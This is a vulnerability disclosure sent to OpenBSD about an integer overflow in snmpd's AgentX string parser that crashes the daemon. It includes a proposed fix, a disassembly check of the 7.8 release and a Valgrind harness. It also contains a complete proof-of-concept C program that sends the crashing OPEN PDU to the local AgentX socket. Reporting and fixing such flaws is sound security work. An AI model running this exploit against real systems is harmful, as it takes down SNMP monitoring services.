Hello,

I am reporting a vulnerability in usr.sbin/snmpd that exists in the
current OpenBSD source tree but
is not present in the OpenBSD 7.8 release binary. It is an integer
overflow in ax_pdutoostring()
that bypasses the bounds guard, leads to malloc(0), and then memcpy of
4 GiB into the resulting
access-protected allocation — causing immediate SIGSEGV and daemon
crash. Without a fix, this will
ship in the next release.

Attack requires local _agentx group membership; there is no
network-reachable path on a default install.

---

AFFECTED VERSIONS

  Vulnerable:    OpenBSD -current source (ax.c v1.8, 2026/05/07)
  Not affected:  OpenBSD 7.8 release binary (/usr/sbin/snmpd, amd64, 2025-10-12)

The vulnerable guard was introduced into the source tree between
October 2025 and May 2026.
The 7.8 binary uses a correct direct 64-bit comparison (verified by
disassembly — see below).

---

COMPONENT

  usr.sbin/snmpd/ax.c — ax_pdutoostring(), lines 1408-1415

SUMMARY

An integer overflow in the padding calculation of ax_pdutoostring()
allows the bounds guard to be
bypassed when the attacker sets the AgentX string length field to
0xFFFFFFFF. The guard, allocation,
and copy then proceed against an access-protected zero-size
allocation, causing immediate SIGSEGV
and daemon crash. A single 32-byte AgentX OPEN PDU is sufficient to
trigger the bug against a
snmpd built from current source.

SEVERITY

  Medium. Attack vector is local (Unix domain socket, mode 0660, group
_agentx). No network path
  on default install. Impact is availability only — deterministic
crash of snmpd, no information
  disclosure, no privilege escalation. CVSS ~6.1
(AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

---

VULNERABLE CODE (ax.c lines 1408-1415, v1.8 2026/05/07)

  ostring->aos_slen = ax_pdutoh32(header, buf);   /* attacker sets 0xFFFFFFFF */
  rawlen -= 4;
  buf += 4;

  if (((ostring->aos_slen + 3) & ~3U) > rawlen)   /* GUARD -- bypassed
by integer overflow */
      goto fail;

  if ((ostring->aos_string = malloc(ostring->aos_slen + 1)) == NULL)
/* malloc(0) */
      return -1;

  memcpy(ostring->aos_string, buf, ostring->aos_slen);
/* memcpy 4 GiB */

OVERFLOW 1 -- GUARD BYPASS

  With aos_slen = 0xFFFFFFFF (uint32_t):

    (0xFFFFFFFF + 3) wraps to 0x00000002   [unsigned 32-bit wrap,
defined by C standard]
    0x00000002 & ~3U = 0x00000000
    0x00000000 > rawlen -> always false (0 is not greater than any size_t value)

  The guard is unconditionally bypassed regardless of rawlen.

OVERFLOW 2 -- ALLOCATION

    malloc(0xFFFFFFFF + 1) = malloc(0x100000000)
    truncated in uint32_t  = malloc(0)

  On OpenBSD, malloc(0) returns a non-NULL pointer to an
access-protected, zero-size object
  (per malloc(3) man page). The == NULL check does not abort the function.

CRASH

  memcpy(ptr, buf, 0xFFFFFFFF) writes to the access-protected allocation.
  The first write generates SIGSEGV -> snmpd crash.

---

ARITHMETIC PROOF (compiled and run on Linux/gcc 14.2.0; aarch64; and
confirmed on OpenBSD VM):

  uint32_t aos_slen = 0xFFFFFFFF;
  uint32_t padded   = (aos_slen + 3) & ~3U;  /* = 0 */
  /* guard: 0 > rawlen -> FALSE (bypassed) */
  /* malloc: aos_slen + 1 = 0 -> malloc(0) returns non-NULL
access-protected pointer */
  /* memcpy(ptr, buf, 0xFFFFFFFF) -> first write to protected page -> SIGSEGV */

---

BINARY VERIFICATION -- OpenBSD 7.8 IS NOT AFFECTED

Disassembly of /usr/sbin/snmpd (amd64, 685112 bytes, 2025-10-12) shows
the ostring parser
function at 0x3d220 uses a direct 64-bit comparison, not the
(aos_slen+3)&~3U guard:

  3d236:  cmp    $0x4,%rcx                      ; rawlen < 4 -> error
  3d23a:  jb     3d255
  3d23c:  mov    (%rdx),%eax                    ; read string length
  3d249:  mov    %edi,0x8(%rsi)                 ; store aos_slen (32-bit)
  3d24c:  add    $0xfffffffffffffffc,%rcx       ; rcx = rawlen - 4
(64-bit arithmetic)
  3d250:  cmp    %rdi,%rcx                      ; (rawlen-4) vs
string_length (zero-extended)
  3d253:  jae    3d290                          ; rawlen-4 >=
string_length -> proceed
  3d255:  [error path]

With string_length = 0xFFFFFFFF: rdi = 0x00000000FFFFFFFF; rcx = 0.
cmp: 0 < 4294967295 -> takes error path every time. No malloc. No crash.

This confirms the 7.8 binary was compiled from an older, correct
implementation. The vulnerable
(aos_slen+3)&~3U guard was introduced into the source tree between
October 2025 and May 2026.

---

ATTACK VECTOR

  Socket:  /var/agentx/master (AGENTX_MASTER_PATH, snmpd.h:55)
  Mode:    0660, owner root, group _agentx
  Access:  Requires _agentx group membership or root (local only)

  Trigger: 32-byte AgentX OPEN PDU

    Header (20 bytes, RFC 2741 s6.1):
      version=1, type=1 (OPEN), flags=0x00 (little-endian,
AX_PDU_FLAG_NETWORK_BYTE_ORDER clear),
      payload_length=12

    Payload (12 bytes, RFC 2741 s6.2.1):
      [0-3]   timeout=5, reserved=0,0,0
      [4-7]   null OID: n_subid=0, prefix=0, include=0, reserved=0
      [8-11]  string_length = 0xFFFFFFFF (LE: FF FF FF FF)   <- trigger

  At ax_pdutoostring entry (OPEN PDU path): rawlen = 4 (12 - 4 timeout - 4 OID).
  After reading length: rawlen = 0.
  Guard: (0xFFFFFFFF+3)&~3U = 0; 0 > 0 -> false -> bypassed.
  malloc(0) -> non-NULL access-protected pointer.
  memcpy -> SIGSEGV -> crash.

---

PROPOSED FIX

  Insert a direct bounds check before the padded alignment check. Once
aos_slen is bounded
  by rawlen (always a small value derived from aph_plength), the
subsequent +3 cannot wrap
  and the existing padded check works correctly:

    /* Before line 1411 in ax.c */
    if (ostring->aos_slen > rawlen)
        goto fail;
    /* Existing guard now safe -- aos_slen is bounded, no wrap possible */
    if (((ostring->aos_slen + 3) & ~3U) > rawlen)
        goto fail;

  Minimal two-line fix. No type changes required.

  Also recommend auditing all four call sites of ax_pdutoostring()
(ax.c lines 194, 216, 374, 1472)
  and any other ax_pdutoh32() consumers feeding length fields for the
same pattern.

---

PROOF OF CONCEPT

  Attached: snmpd_agentx_poc.c and snmpd_valgrind_harness.c

  snmpd_agentx_poc.c connects to /var/agentx/master and sends the
32-byte PDU above.
  Build:  cc -Wall -std=c99 -o snmpd_agentx_poc snmpd_agentx_poc.c

  snmpd_valgrind_harness.c reproduces the overflow in isolation (no
daemon required).
  Confirmed on Linux aarch64 (Valgrind 3.24.0): 1,679 errors including
Invalid read/write
  and SIGSEGV on the vulnerable path; zero errors on the fixed path.
  Build:  gcc -Wall -std=c99 -g -o harness snmpd_valgrind_harness.c
  Run:    valgrind --tool=memcheck --error-exitcode=1 ./harness

  Live test against OpenBSD 7.8 binary: PDU sent; snmpd returned
protocol error and closed
  connection (no crash). Consistent with binary having correct guard
(verified by disassembly).

---

REFERENCES

  ax.c lines 1408-1415 (ax_pdutoostring, string length parsing)
  snmpd.h line 55 (AGENTX_MASTER_PATH)
  parse.y lines 283-295 (socket mode 0660, group _agentx defaults)
  application_agentx.c lines 148-173 (socket bind + chmod)
  RFC 2741 s6.1 (AgentX PDU header), s6.2.1 (OPEN PDU)
  ax.h (AX_PDU_FLAG_NETWORK_BYTE_ORDER = 1<<4 = 0x10)
  CWE-190 (Integer Overflow), CWE-131 (Incorrect Calculation of Buffer Size)

This is the third finding from a current research track on OpenBSD
daemons. OSPFD-001
(ospfd routing corruption) and OSPF6D-001 (ospf6d OOB read) were
reported separately.

Thank you for your time.
/*
 * snmpd_agentx_poc.c
 * SNMPD-001: AgentX OPEN PDU heap overflow via integer overflow in
 * ax_pdutoostring() — usr.sbin/snmpd/ax.c
 *
 * Bug: (uint32_t)(0xFFFFFFFF + 3) & ~3U == 0, bypassing the bounds guard.
 * malloc(0xFFFFFFFF + 1) == malloc(0) succeeds. memcpy then copies
 * 0xFFFFFFFF (4 GiB) bytes into the 0-byte allocation → heap corruption.
 *
 * Trigger: connect to the AgentX socket and send a minimal OPEN PDU whose
 * description string length field is 0xFFFFFFFF.
 *
 * Socket: /var/agentx/master  (default path, AGENTX_MASTER_PATH in snmpd.h)
 *         Owned by root:_agentx, mode 0660 by default (parse.y:295).
 *         Attacker must be in the _agentx group or running as root.
 *
 * Build (OpenBSD or Linux with gcc):
 *   gcc -Wall -std=c99 -o snmpd_agentx_poc snmpd_agentx_poc.c
 *
 * Build with ASAN (Linux only — ASAN is unavailable on OpenBSD):
 *   gcc -Wall -std=c99 -fsanitize=address -o snmpd_agentx_poc snmpd_agentx_poc.c
 *
 * DO NOT run against a live/production snmpd. Use an isolated test instance.
 *
 * Research: SNMPD-001, 2026-05-17
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/un.h>

/* Default AgentX master socket path (AGENTX_MASTER_PATH in snmpd.h) */
#define AGENTX_SOCKET_PATH  "/var/agentx/master"

/* AgentX PDU types (RFC 2741) */
#define AX_PDU_TYPE_OPEN    1

/* AgentX PDU header flags (ax.h verified on OpenBSD 7.8) */
#define AX_PDU_FLAG_NETWORK_BYTE_ORDER  0x10  /* (1<<4): set = big-endian, clear = little-endian */
#define AX_PDU_FLAGS_LE                 0x00  /* no flag set = LE mode — what we want */

/*
 * AgentX PDU header layout (20 bytes, RFC 2741 §6.1):
 *   version     [0]     1 byte  — must be 1
 *   type        [1]     1 byte  — PDU type
 *   flags       [2]     1 byte  — byte order and misc flags
 *   reserved    [3]     1 byte
 *   sessionID   [4-7]   4 bytes
 *   transactID  [8-11]  4 bytes
 *   packetID    [12-15] 4 bytes
 *   payload_len [16-19] 4 bytes — length of payload in bytes (NOT including header)
 *
 * OPEN PDU payload layout (RFC 2741 §6.2.1):
 *   timeout     [0]     1 byte  — default timeout
 *   reserved    [1-3]   3 bytes
 *   id          [4-7]   OID    — subagent OID (4 bytes for null OID: n=0, prefix=0, include=0, reserved=0)
 *   descr               octet-string — description (4-byte length + padded data)
 *
 * Minimum payload for the overflow:
 *   4 bytes: timeout + reserved
 *   4 bytes: null OID (n_subid=0, prefix=0, include=0, reserved=0)
 *   4 bytes: string length = 0xFFFFFFFF  (trigger the integer overflow)
 *   Total payload = 12 bytes → aph_plength = 12
 *
 * At ax_pdutoostring (ax.c ~line 1400):
 *   aos_slen = 0xFFFFFFFF
 *   rawlen at entry = 4 (just the string length field remains when called for descr
 *                        because: 12 total - 4 timeout - 4 OID = 4)
 *   After reading length: rawlen -= 4 → rawlen = 0
 *   Guard: ((0xFFFFFFFF + 3) & ~3U) = 0, so 0 > 0 is false → BYPASSED
 *   malloc(0xFFFFFFFF + 1) = malloc(0) → succeeds, returns ~8 byte chunk
 *   memcpy(ptr, buf, 0xFFFFFFFF) → reads 4 GiB past end of receive buffer
 */

static void
write_u32_le(uint8_t *buf, uint32_t val)
{
    buf[0] = (val >>  0) & 0xFF;
    buf[1] = (val >>  8) & 0xFF;
    buf[2] = (val >> 16) & 0xFF;
    buf[3] = (val >> 24) & 0xFF;
}

static void
write_u32_be(uint8_t *buf, uint32_t val)
{
    buf[0] = (val >> 24) & 0xFF;
    buf[1] = (val >> 16) & 0xFF;
    buf[2] = (val >>  8) & 0xFF;
    buf[3] = (val >>  0) & 0xFF;
}

int
main(int argc, char *argv[])
{
    const char *sockpath = (argc > 1) ? argv[1] : AGENTX_SOCKET_PATH;
    int fd;
    struct sockaddr_un sun;

    /*
     * Craft the malicious OPEN PDU.
     *
     * flags = 0x00 (AX_PDU_FLAG_NETWORK_BYTE_ORDER clear = little-endian).
     * 0x10 is the NETWORK BYTE ORDER flag (big-endian), NOT the LE flag.
     * All multi-byte fields written LE below.
     *
     * Payload (12 bytes):
     *   [0-3]  timeout=5, reserved=0,0,0
     *   [4-7]  null OID: n_subid=0, prefix=0, include=0, reserved=0
     *   [8-11] string length = 0xFFFFFFFF (LE: FF FF FF FF)
     */
    uint8_t pdu[20 + 12];
    memset(pdu, 0, sizeof(pdu));

    /* --- PDU header (20 bytes) --- */
    pdu[0] = 1;                     /* version = 1 */
    pdu[1] = AX_PDU_TYPE_OPEN;     /* type = Open-PDU */
    pdu[2] = AX_PDU_FLAGS_LE;           /* flags = 0x00: little-endian (AX_PDU_FLAG_NETWORK_BYTE_ORDER clear) */
    pdu[3] = 0;                     /* reserved */
    write_u32_le(pdu + 4,  0);     /* sessionID = 0 */
    write_u32_le(pdu + 8,  0);     /* transactionID = 0 */
    write_u32_le(pdu + 12, 1);     /* packetID = 1 */
    write_u32_le(pdu + 16, 12);    /* payload_length = 12 bytes */

    /* --- OPEN PDU payload (12 bytes) --- */
    pdu[20] = 5;                    /* timeout = 5 seconds */
    /* pdu[21-23] = reserved = 0 (already zero from memset) */

    /* Null OID: n_subid=0, prefix=0, include=0, reserved=0 */
    pdu[24] = 0;  /* n_subid */
    pdu[25] = 0;  /* prefix */
    pdu[26] = 0;  /* include */
    pdu[27] = 0;  /* reserved */

    /* Description string length = 0xFFFFFFFF (LE) — TRIGGER */
    write_u32_le(pdu + 28, 0xFFFFFFFF);

    printf("[*] SNMPD-001 AgentX OPEN PDU overflow PoC\n");
    printf("[*] Target socket: %s\n", sockpath);
    printf("[*] PDU payload_length = 12, string_length = 0xFFFFFFFF\n");
    printf("[*] Expected: malloc(0) → 4GiB memcpy → snmpd crash / heap corruption\n\n");

    fd = socket(AF_UNIX, SOCK_STREAM, 0);
    if (fd < 0) {
        perror("socket");
        return 1;
    }

    memset(&sun, 0, sizeof(sun));
    sun.sun_family = AF_UNIX;
    strncpy(sun.sun_path, sockpath, sizeof(sun.sun_path) - 1);

    printf("[*] Connecting to %s ...\n", sockpath);
    if (connect(fd, (struct sockaddr *)&sun, sizeof(sun)) < 0) {
        perror("connect");
        close(fd);
        return 1;
    }
    printf("[+] Connected.\n");

    printf("[*] Sending %zu-byte malicious OPEN PDU ...\n", sizeof(pdu));
    ssize_t n = write(fd, pdu, sizeof(pdu));
    if (n < 0) {
        perror("write");
        close(fd);
        return 1;
    }
    printf("[+] Sent %zd bytes.\n", n);

    /*
     * Wait briefly to let snmpd process the PDU.
     * If snmpd crashes, the connection will be reset.
     */
    printf("[*] Waiting for snmpd response (or crash)...\n");
    uint8_t resp[256];
    n = read(fd, resp, sizeof(resp));
    if (n < 0) {
        if (errno == ECONNRESET) {
            printf("[+] Connection reset by peer — snmpd likely crashed!\n");
        } else {
            perror("read");
        }
    } else if (n == 0) {
        printf("[+] Connection closed by snmpd — possible crash or rejection.\n");
    } else {
        printf("[*] Received %zd bytes (snmpd still alive — check for heap corruption).\n", n);
        for (ssize_t i = 0; i < n && i < 32; i++)
            printf("%02x ", resp[i]);
        printf("\n");
    }

    close(fd);
    return 0;
}
/*
 * snmpd_valgrind_harness.c
 * SNMPD-001: Standalone Valgrind harness for ax_pdutoostring() integer overflow
 *
 * Reproduces the exact vulnerable logic from ax.c lines 1408-1415.
 * Run under Valgrind to get objective heap overflow evidence without
 * needing access to a live snmpd or the AgentX socket.
 *
 * Build:
 *   gcc -Wall -std=c99 -g -o snmpd_valgrind_harness snmpd_valgrind_harness.c
 *
 * Run (Pi 400 / any Linux with Valgrind):
 *   valgrind --tool=memcheck --error-exitcode=1 ./snmpd_valgrind_harness
 *
 * Expected Valgrind output (vulnerable path):
 *   Invalid write of size N ... N bytes after block of size 0 alloc'd
 *
 * Run fixed path to confirm clean:
 *   valgrind --tool=memcheck --error-exitcode=1 ./snmpd_valgrind_harness fixed
 *   --> 0 errors (correct rejection, no malloc/memcpy called)
 *
 * Research: SNMPD-001, 2026-05-17
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

/* Mirrors the OpenBSD agentx_ostring struct member we care about */
struct ax_ostring {
    char    *aos_string;
    uint32_t aos_slen;
};

/*
 * vulnerable_parse() — exact logic from ax.c:1408-1415.
 *
 * buf:    simulated receive buffer (what came off the socket after timeout+OID)
 * rawlen: bytes remaining in payload at the point ax_pdutoostring is called
 *         (= 4 when triggered: payload_length=12 - 4 timeout - 4 OID = 4)
 *
 * Returns 0 on success (bug triggered), -1 if NULL check fires, 1 if guard trips.
 */
static int
vulnerable_parse(struct ax_ostring *ostring, const uint8_t *buf, size_t rawlen)
{
    /* Pre-check from actual source (verified ax.c v1.8): rawlen < 4 → fail */
    if (rawlen < 4) {
        printf("[vuln] pre-check rawlen<4 fired (%zu < 4) — no overflow\n", rawlen);
        return 1;
    }

    /* Line 1408: read attacker-controlled length from wire (LE) */
    ostring->aos_slen = (uint32_t)buf[0]
                      | ((uint32_t)buf[1] << 8)
                      | ((uint32_t)buf[2] << 16)
                      | ((uint32_t)buf[3] << 24);
    rawlen -= 4;
    buf    += 4;

    printf("[vuln] aos_slen read from wire: 0x%08X (%u)\n",
           ostring->aos_slen, ostring->aos_slen);

    /* Line 1411: GUARD — the broken check */
    uint32_t padded = (ostring->aos_slen + 3) & ~3U;
    printf("[vuln] padded = (aos_slen+3)&~3U = 0x%08X (%u)\n", padded, padded);
    printf("[vuln] guard: %u > %zu = %s\n",
           padded, rawlen, (padded > rawlen) ? "TRUE (would block)" : "FALSE (bypassed!)");

    if (padded > rawlen) {
        printf("[vuln] guard fired — no overflow\n");
        return 1;
    }

    /* Line 1413: ALLOCATION — overflows to malloc(0) */
    uint32_t alloc_arg = ostring->aos_slen + 1;
    printf("[vuln] malloc argument: aos_slen+1 = 0x%08X (%u) — wraps to %u\n",
           alloc_arg, alloc_arg, alloc_arg);

    if ((ostring->aos_string = malloc(alloc_arg)) == NULL) {
        printf("[vuln] malloc returned NULL — bug aborted\n");
        return -1;
    }
    printf("[vuln] malloc(%u) returned %p — non-NULL, bug proceeds\n",
           alloc_arg, (void *)ostring->aos_string);

    /* Line 1415: COPY — 0xFFFFFFFF bytes into tiny allocation */
    printf("[vuln] calling memcpy(dst=%p, src=buf, len=0x%08X)\n",
           (void *)ostring->aos_string, ostring->aos_slen);
    printf("[vuln] *** THIS IS THE OVERFLOW — Valgrind will report here ***\n");

    memcpy(ostring->aos_string, buf, ostring->aos_slen);

    printf("[vuln] memcpy returned (should not reach here under Valgrind)\n");
    free(ostring->aos_string);
    return 0;
}

/*
 * fixed_parse() — implements the two-line fix:
 *   if (ostring->aos_slen > rawlen) goto fail;
 *   [existing padded guard, now safe]
 */
static int
fixed_parse(struct ax_ostring *ostring, const uint8_t *buf, size_t rawlen)
{
    /* Pre-check — matches actual source */
    if (rawlen < 4)
        return 1;

    ostring->aos_slen = (uint32_t)buf[0]
                      | ((uint32_t)buf[1] << 8)
                      | ((uint32_t)buf[2] << 16)
                      | ((uint32_t)buf[3] << 24);
    rawlen -= 4;
    buf    += 4;

    printf("[fixed] aos_slen = 0x%08X (%u)\n", ostring->aos_slen, ostring->aos_slen);

    /* FIX: direct bounds check before padded arithmetic */
    if (ostring->aos_slen > rawlen) {
        printf("[fixed] direct check fired: %u > %zu — rejected correctly\n",
               ostring->aos_slen, rawlen);
        return 1;
    }

    /* Padded check (now safe — aos_slen bounded by rawlen) */
    if (((ostring->aos_slen + 3) & ~3U) > rawlen) {
        printf("[fixed] padded guard fired\n");
        return 1;
    }

    /* malloc and memcpy would follow but we never reach here for 0xFFFFFFFF */
    if ((ostring->aos_string = malloc(ostring->aos_slen + 1)) == NULL)
        return -1;
    memcpy(ostring->aos_string, buf, ostring->aos_slen);
    free(ostring->aos_string);
    return 0;
}

int
main(int argc, char *argv[])
{
    int run_fixed = (argc > 1 && strcmp(argv[1], "fixed") == 0);

    /*
     * Simulated wire bytes at the point ax_pdutoostring is called for the
     * description field of an AgentX OPEN PDU:
     *
     *   [0-3]  string_length = 0xFFFFFFFF (LE) — TRIGGER
     *   [4..]  string data (none — rawlen will be 0 after reading length)
     *
     * rawlen at entry = 4 (payload_length=12, minus 4 timeout, minus 4 OID).
     * This mirrors the exact state in ax_recv when parsing the OPEN PDU descr.
     */
    uint8_t wire[8] = { 0xFF, 0xFF, 0xFF, 0xFF,  /* string_length = 0xFFFFFFFF */
                        0x00, 0x00, 0x00, 0x00 }; /* no string data */
    size_t rawlen = 4;

    struct ax_ostring ostring = { NULL, 0 };

    printf("=== SNMPD-001 Valgrind Harness ===\n");
    printf("Simulating ax_pdutoostring() with aos_slen=0xFFFFFFFF, rawlen=%zu\n\n",
           rawlen);

    if (run_fixed) {
        printf("--- FIXED PATH ---\n");
        int r = fixed_parse(&ostring, wire, rawlen);
        if (r == 1)
            printf("\n[PASS] Fixed: correctly rejected malformed length — no malloc, no memcpy\n");
        else
            printf("\n[FAIL] Fixed path did not reject — check harness\n");
    } else {
        printf("--- VULNERABLE PATH ---\n");
        printf("(run with argument 'fixed' to test the patched version)\n\n");
        int r = vulnerable_parse(&ostring, wire, rawlen);
        if (r == 0)
            printf("\n[DONE] Returned normally — Valgrind output above shows the overflow\n");
        else if (r == 1)
            printf("\n[UNEXPECTED] Guard fired — trigger not working?\n");
        else
            printf("\n[NOTE] malloc returned NULL — platform returned NULL for malloc(0)\n");
    }

    return 0;
}

Reply via email to